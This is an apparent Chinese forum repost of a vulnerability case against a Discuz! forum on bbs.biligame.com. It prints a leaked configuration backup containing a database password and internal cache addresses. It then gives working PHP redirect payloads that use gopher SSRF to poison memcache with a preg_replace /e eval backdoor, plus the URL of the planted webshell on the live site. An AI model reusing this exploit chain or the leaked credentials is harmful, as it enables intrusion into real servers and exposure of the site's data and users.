TA的每日心情 | 慵懒 2017-4-9 19:10 |
---|
签到天数: 149 天 [LV.7]常住居民III
|
本帖最后由 人=族 于 2016-7-11 19:58 编辑
乌云案例:
()dz ssrf 太多官方都修不过来)
今天来说说一个关于discuz的神洞,有必要的话稍后再提交给官方。
详细说明:
这个只是memcache的案例,如果是redis更好利用了
0x00 前言
扫描器时常会扫描到一些信息泄露,如discuz的配置文件 /config/config_global.php~
里面时常带有数据库密码等,但又苦于内网,十分尴尬。
0x01 个例分析
以bilibili这个为例
http://bbs.biligame.com/config/config_global.php~
code 区域
<?php
$_config = array();
// ---------------------------- CONFIG DB ----------------------------- //
$_config['db']['1']['dbhost'] = '192.168.10.10';
$_config['db']['1']['dbuser'] = 'gamebbs';
$_config['db']['1']['dbpw'] = 'HdUbOY2YCAoKi3U0';
$_config['db']['1']['dbcharset'] = 'utf8';
$_config['db']['1']['pconnect'] = '0'; //此处禁止修改!
$_config['db']['1']['dbname'] = 'gamebbs';
$_config['db']['1']['tablepre'] = 'bbs_';
$_config['db']['slave'] = '';
$_config['db']['common']['slave_except_table'] = '';
// -------------------------- CONFIG MEMORY --------------------------- //
$_config['memory']['prefix'] = 'NTOSSw_';
$_config['memory']['redis']['server'] = '';
$_config['memory']['redis']['port'] = 6379;
$_config['memory']['redis']['pconnect'] = 1;
$_config['memory']['redis']['timeout'] = '0';
$_config['memory']['redis']['requirepass'] = '';
$_config['memory']['redis']['serializer'] = 1;
$_config['memory']['memcache']['server'] = '192.168.10.12';
$_config['memory']['memcache']['port'] = 11211;
$_config['memory']['memcache']['pconnect'] = 1;
$_config['memory']['memcache']['timeout'] = 1;
$_config['memory']['apc'] = 0;
$_config['memory']['xcache'] = 0;
$_config['memory']['eaccelerator'] = 0;
$_config['memory']['wincache'] = 0;
注意到使用了 memcache
如果有留意到 vBulletin rce http://drops.wooyun.org/papers/8261,
相信都被这个漏洞的巧妙之处所吸引。
那么,这discuz是否也存在同样的漏洞呢?
于是查找调用缓存的地方
\source\function\function_core.php
code 区域
function output_replace($content) {
global $_G;
if(defined('IN_MODCP') || defined('IN_ADMINCP')) return $content;
if(!empty($_G['setting']['output']['str']['search'])) {
if(empty($_G['setting']['domain']['app']['default'])) {
$_G['setting']['output']['str']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['str']['replace']);
}
$content = str_replace($_G['setting']['output']['str']['search'], $_G['setting']['output']['str']['replace'], $content);
}
if(!empty($_G['setting']['output']['preg']['search']) && (empty($_G['setting']['rewriteguest']) || empty($_G['uid']))) {
if(empty($_G['setting']['domain']['app']['default'])) {
$_G['setting']['output']['preg']['search'] = str_replace('\{CURHOST\}', preg_quote($_G['siteurl'], '/'), $_G['setting']['output']['preg']['search']);
$_G['setting']['output']['preg']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['preg']['replace']);
}
$content = preg_replace($_G['setting']['output']['preg']['search'], $_G['setting']['output']['preg']['replace'], $content);
}
return $content;
}
真发现有一处。
这里的$_G['setting']['output']['preg']['search'] 和 $_G['setting']['output']['preg']['replace']是直接调用缓存中的数据。
并且,discuz的ssrf是存在多处的,并且官方估计也很难去修复。
WooYun: Discuz!另一处SSRF无须登陆无须条件
于是测试,居然发现服务器支持gohper 协议呀。
下面说说利用过程吧。discuz的漏洞详细分析有必要的话稍后再提交给官方。
漏洞证明:
0x02 漏洞利用
测试利用转发代码
code 区域
<?php
header('Location: gopher://自己服务器:80/_%0d%0aset NTOSSw_setting 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a');
?>
测试返回如下图
万事俱备了,行动
先准备好两个页面,便于写完shell后还原。
wshell.php
code 区域
<?php
header('Location: gopher://192.168.10.12:11211/_%0d%0aset NTOSSw_setting 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a');
?>
cls.php
code 区域
<?php
header('Location: gopher://192.168.10.12:11211/_%0d%0adelete NTOSSw_setting%0d%0a');
?>
请求
http://bbs.biligame.com/forum.ph ... oteimg&message=
从上面可知,这是一句话,由于要绕过waf,所以base64一下。
写入文件shell
http://bbs.biligame.com/forum.ph ... nremoteimg&message=
还原缓存
最后一句话地址为:
http://bbs.biligame.com/data/cache/hello.php
有个吊毛 说要黑掉 红盟 我觉得这是弯道超车 的好办法
没看见他来 昨天 这货跑去干这个
|
|